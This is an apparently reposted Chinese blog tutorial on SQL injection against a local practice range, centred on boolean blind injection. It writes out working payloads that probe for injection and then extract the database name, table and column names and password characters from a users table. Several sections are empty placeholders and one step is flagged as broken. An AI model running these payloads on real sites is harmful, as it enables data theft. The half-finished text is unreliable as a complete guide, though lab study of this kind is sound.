web安全原理分析-SQL注入漏洞全解

 简介

靶场:榆林学院信息安全协会——入侵榆大实验靶场

数字型注入

1

 字符型注入

1

 布尔注入

1.布尔注入简介

mysql bool注入是盲注的一种。与报错注入不同,bool注入没有任何报错信息输出,

页面返回只有正常和不正常两种状态。攻击者只能通过这两个状态来判断输入的SQL注入语句是否正确,

从而判断数据库中存储了那些信息

2.基础的MYSQL函数

ascii()返回字符串str的最左面字符的ASCII代码值

ord() 函数返回字符串第一个字符的ASCII 值

substring()字符串截取函数

 

 left(str, length)从开始截取字符串

right(str, length)从右边开始截取字符串

学习参考:https://www.cnblogs.com/heyonggang/p/8117754.html

3.二分法盲注过程

靶场采用协会内1比1仿真靶场:

 

测试注入payload:

http://127.0.0.1/index.php?id=8'
http://127.0.0.1/index.php?id=8 and 1=1
http://127.0.0.1/index.php?id=8 and 1=2

经过测试  页面不论怎样测试都没有错误  只有有数据 和无数据两种页面 不像别的注入页面会爆出错误 只有爆出错误信息我们才能通过错误信息这块来爆出数据库中的内容

所以我们大致判断这个页面是一个布尔注入  使用盲注方法来解决。

采用二分法判断 得知数据库长度为4

and (select length(database()))>35   //页面回显没数据
and (select length(database()))<35   //页面回显有数据
and (select length(database()))=4    //页面回显有数据

获得数据库名 获得数据库名为 ylxy

and left((select database()),1)='y'

获得数据库中表的数量

and if((select count(*) from information_schema.tables where table_schema=database())>1,1,0)
and if((select count(*) from information_schema.tables where table_schema=database())=2,1,0)

获得数据库表名

and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r'

------有问题。。。。

判断字段数量

and (select count(*) from information_schema.columns where table_name='users')>1

获得指定表名字段数
and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'

爆数据
and left((select password from users limit 0,1),1)='D'

3.sqlmap 注入

ddd

 3.python 脚本注入

 线性结构Linear Structure

1

原文地址:https://www.cnblogs.com/xhds/p/12508908.html